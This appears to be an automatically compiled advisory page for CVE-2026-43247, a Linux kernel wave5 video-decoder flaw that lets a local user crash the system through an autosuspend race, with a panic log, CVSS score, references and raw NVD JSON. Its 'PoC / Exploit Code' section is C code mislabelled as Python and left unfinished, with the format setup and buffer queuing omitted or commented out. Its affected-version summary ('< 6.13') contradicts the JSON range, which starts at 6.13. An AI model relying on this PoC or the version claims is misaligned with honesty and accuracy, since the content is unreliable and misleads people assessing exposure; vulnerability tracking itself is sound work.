CVE-2026-43247

Description

In the Linux kernel, the following vulnerability has been resolved: media: chips-media: wave5: Fix SError of kernel panic when closed SError of kernel panic rarely happened while testing fluster. The root cause was to enter suspend mode because timeout of autosuspend delay happened. [ 48.834439] SError Interrupt on CPU0, code 0x00000000bf000000 -- SError [ 48.834455] CPU: 0 UID: 0 PID: 1067 Comm: v4l2h265dec0:sr Not tainted 6.12.9-gc9e21a1ebd75-dirty #7 [ 48.834461] Hardware name: ti Texas Instruments J721S2 EVM/Texas Instruments J721S2 EVM, BIOS 2025.01-00345-gbaf3aaa8ecfa 01/01/2025 [ 48.834464] pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) [ 48.834468] pc : wave5_dec_clr_disp_flag+0x40/0x80 [wave5] [ 48.834488] lr : wave5_dec_clr_disp_flag+0x40/0x80 [wave5] [ 48.834495] sp : ffff8000856e3a30 [ 48.834497] x29: ffff8000856e3a30 x28: ffff0008093f6010 x27: ffff000809158130 [ 48.834504] x26: 0000000000000000 x25: ffff00080b625000 x24: ffff000804a9ba80 [ 48.834509] x23: ffff000802343028 x22: ffff000809158150 x21: ffff000802218000 [ 48.834513] x20: ffff0008093f6000 x19: ffff0008093f6000 x18: 0000000000000000 [ 48.834518] x17: 0000000000000000 x16: 0000000000000000 x15: 0000ffff74009618 [ 48.834523] x14: 000000010000000c x13: 0000000000000000 x12: 0000000000000000 [ 48.834527] x11: ffffffffffffffff x10: ffffffffffffffff x9 : ffff000802343028 [ 48.834532] x8 : ffff00080b6252a0 x7 : 0000000000000038 x6 : 0000000000000000 [ 48.834536] x5 : ffff00080b625060 x4 : 0000000000000000 x3 : 0000000000000000 [ 48.834541] x2 : 0000000000000000 x1 : ffff800084bf0118 x0 : ffff800084bf0000 [ 48.834547] Kernel panic - not syncing: Asynchronous SError Interrupt [ 48.834549] CPU: 0 UID: 0 PID: 1067 Comm: v4l2h265dec0:sr Not tainted 6.12.9-gc9e21a1ebd75-dirty #7 [ 48.834554] Hardware name: ti Texas Instruments J721S2 EVM/Texas Instruments J721S2 EVM, BIOS 2025.01-00345-gbaf3aaa8ecfa 01/01/2025 [ 48.834556] Call trace: [ 48.834559] dump_backtrace+0x94/0xec [ 48.834574] show_stack+0x18/0x24 [ 48.834579] dump_stack_lvl+0x38/0x90 [ 48.834585] dump_stack+0x18/0x24 [ 48.834588] panic+0x35c/0x3e0 [ 48.834592] nmi_panic+0x40/0x8c [ 48.834595] arm64_serror_panic+0x64/0x70 [ 48.834598] do_serror+0x3c/0x78 [ 48.834601] el1h_64_error_handler+0x34/0x4c [ 48.834605] el1h_64_error+0x64/0x68 [ 48.834608] wave5_dec_clr_disp_flag+0x40/0x80 [wave5] [ 48.834615] wave5_vpu_dec_clr_disp_flag+0x54/0x80 [wave5] [ 48.834622] wave5_vpu_dec_buf_queue+0x19c/0x1a0 [wave5] [ 48.834628] __enqueue_in_driver+0x3c/0x74 [videobuf2_common] [ 48.834639] vb2_core_qbuf+0x508/0x61c [videobuf2_common] [ 48.834646] vb2_qbuf+0xa4/0x168 [videobuf2_v4l2] [ 48.834656] v4l2_m2m_qbuf+0x80/0x238 [v4l2_mem2mem] [ 48.834666] v4l2_m2m_ioctl_qbuf+0x18/0x24 [v4l2_mem2mem] [ 48.834673] v4l_qbuf+0x48/0x5c [videodev] [ 48.834704] __video_do_ioctl+0x180/0x3f0 [videodev] [ 48.834725] video_usercopy+0x2ec/0x68c [videodev] [ 48.834745] video_ioctl2+0x18/0x24 [videodev] [ 48.834766] v4l2_ioctl+0x40/0x60 [videodev] [ 48.834786] __arm64_sys_ioctl+0xa8/0xec [ 48.834793] invoke_syscall+0x44/0x100 [ 48.834800] el0_svc_common.constprop.0+0xc0/0xe0 [ 48.834804] do_el0_svc+0x1c/0x28 [ 48.834809] el0_svc+0x30/0xd0 [ 48.834813] el0t_64_sync_handler+0xc0/0xc4 [ 48.834816] el0t_64_sync+0x190/0x194 [ 48.834820] SMP: stopping secondary CPUs [ 48.834831] Kernel Offset: disabled [ 48.834833] CPU features: 0x08,00002002,80200000,4200421b [ 48.834837] Memory Limit: none [ 49.161404] ---[ end Kernel panic - not syncing: Asynchronous SError Interrupt ]---

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel 6.12.x

Linux Kernel < 6.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC Concept for CVE-2026-43247
 * Trigger: Race condition between autosuspend and v4l2 close/queue operations.
 */
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/videodev2.h>

int main() {
    int fd = open("/dev/video0", O_RDWR);
    if (fd < 0) return 1;

    struct v4l2_format fmt = {0};
    fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE;
    // Setup format for H265 decoding (wave5 supported)
    // ... set fmt ...
    ioctl(fd, VIDIOC_S_FMT, &fmt);

    // Start streaming to trigger autosuspend logic race
    ioctl(fd, VIDIOC_STREAMON, &(int){V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE});

    // Simulate delay or operations that trigger autosuspend timeout
    sleep(2);

    // Queue buffers or close device while autosuspend might kick in
    // ioctl(fd, VIDIOC_QBUF, ...);
    close(fd); 
    
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43247
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43247
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43247/
[4] VulDB https://vuldb.com/cve/CVE-2026-43247
[5] https://git.kernel.org/stable/c/27cb12b7dc88c51582094eeb2b65b0e94603e411
[6] https://git.kernel.org/stable/c/5da55243fe190c2165ed34e77091a43c0ff74f10
[7] https://git.kernel.org/stable/c/cbb9c0d50e471483cced55f5b7db4569dcd959a6

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43247", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:45.237", "lastModified": "2026-05-11T13:28:31.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: chips-media: wave5: Fix SError of kernel panic when closed\n\nSError of kernel panic rarely happened while testing fluster.\nThe root cause was to enter suspend mode because timeout of autosuspend\ndelay happened.\n\n[ 48.834439] SError Interrupt on CPU0, code 0x00000000bf000000 -- SError\n[ 48.834455] CPU: 0 UID: 0 PID: 1067 Comm: v4l2h265dec0:sr Not tainted 6.12.9-gc9e21a1ebd75-dirty #7\n[ 48.834461] Hardware name: ti Texas Instruments J721S2 EVM/Texas Instruments J721S2 EVM, BIOS 2025.01-00345-gbaf3aaa8ecfa 01/01/2025\n[ 48.834464] pstate: 20000005 (nzCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[ 48.834468] pc : wave5_dec_clr_disp_flag+0x40/0x80 [wave5]\n[ 48.834488] lr : wave5_dec_clr_disp_flag+0x40/0x80 [wave5]\n[ 48.834495] sp : ffff8000856e3a30\n[ 48.834497] x29: ffff8000856e3a30 x28: ffff0008093f6010 x27: ffff000809158130\n[ 48.834504] x26: 0000000000000000 x25: ffff00080b625000 x24: ffff000804a9ba80\n[ 48.834509] x23: ffff000802343028 x22: ffff000809158150 x21: ffff000802218000\n[ 48.834513] x20: ffff0008093f6000 x19: ffff0008093f6000 x18: 0000000000000000\n[ 48.834518] x17: 0000000000000000 x16: 0000000000000000 x15: 0000ffff74009618\n[ 48.834523] x14: 000000010000000c x13: 0000000000000000 x12: 0000000000000000\n[ 48.834527] x11: ffffffffffffffff x10: ffffffffffffffff x9 : ffff000802343028\n[ 48.834532] x8 : ffff00080b6252a0 x7 : 0000000000000038 x6 : 0000000000000000\n[ 48.834536] x5 : ffff00080b625060 x4 : 0000000000000000 x3 : 0000000000000000\n[ 48.834541] x2 : 0000000000000000 x1 : ffff800084bf0118 x0 : ffff800084bf0000\n[ 48.834547] Kernel panic - not syncing: Asynchronous SError Interrupt\n[ 48.834549] CPU: 0 UID: 0 PID: 1067 Comm: v4l2h265dec0:sr Not tainted 6.12.9-gc9e21a1ebd75-dirty #7\n[ 48.834554] Hardware name: ti Texas Instruments J721S2 EVM/Texas Instruments J721S2 EVM, BIOS 2025.01-00345-gbaf3aaa8ecfa 01/01/2025\n[ 48.834556] Call trace:\n[ 48.834559] dump_backtrace+0x94/0xec\n[ 48.834574] show_stack+0x18/0x24\n[ 48.834579] dump_stack_lvl+0x38/0x90\n[ 48.834585] dump_stack+0x18/0x24\n[ 48.834588] panic+0x35c/0x3e0\n[ 48.834592] nmi_panic+0x40/0x8c\n[ 48.834595] arm64_serror_panic+0x64/0x70\n[ 48.834598] do_serror+0x3c/0x78\n[ 48.834601] el1h_64_error_handler+0x34/0x4c\n[ 48.834605] el1h_64_error+0x64/0x68\n[ 48.834608] wave5_dec_clr_disp_flag+0x40/0x80 [wave5]\n[ 48.834615] wave5_vpu_dec_clr_disp_flag+0x54/0x80 [wave5]\n[ 48.834622] wave5_vpu_dec_buf_queue+0x19c/0x1a0 [wave5]\n[ 48.834628] __enqueue_in_driver+0x3c/0x74 [videobuf2_common]\n[ 48.834639] vb2_core_qbuf+0x508/0x61c [videobuf2_common]\n[ 48.834646] vb2_qbuf+0xa4/0x168 [videobuf2_v4l2]\n[ 48.834656] v4l2_m2m_qbuf+0x80/0x238 [v4l2_mem2mem]\n[ 48.834666] v4l2_m2m_ioctl_qbuf+0x18/0x24 [v4l2_mem2mem]\n[ 48.834673] v4l_qbuf+0x48/0x5c [videodev]\n[ 48.834704] __video_do_ioctl+0x180/0x3f0 [videodev]\n[ 48.834725] video_usercopy+0x2ec/0x68c [videodev]\n[ 48.834745] video_ioctl2+0x18/0x24 [videodev]\n[ 48.834766] v4l2_ioctl+0x40/0x60 [videodev]\n[ 48.834786] __arm64_sys_ioctl+0xa8/0xec\n[ 48.834793] invoke_syscall+0x44/0x100\n[ 48.834800] el0_svc_common.constprop.0+0xc0/0xe0\n[ 48.834804] do_el0_svc+0x1c/0x28\n[ 48.834809] el0_svc+0x30/0xd0\n[ 48.834813] el0t_64_sync_handler+0xc0/0xc4\n[ 48.834816] el0t_64_sync+0x190/0x194\n[ 48.834820] SMP: stopping secondary CPUs\n[ 48.834831] Kernel Offset: disabled\n[ 48.834833] CPU features: 0x08,00002002,80200000,4200421b\n[ 48.834837] Memory Limit: none\n[ 49.161404] ---[ end Kernel panic - not syncing: Asynchronous SError Interrupt ]---"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartInclu ... (truncated)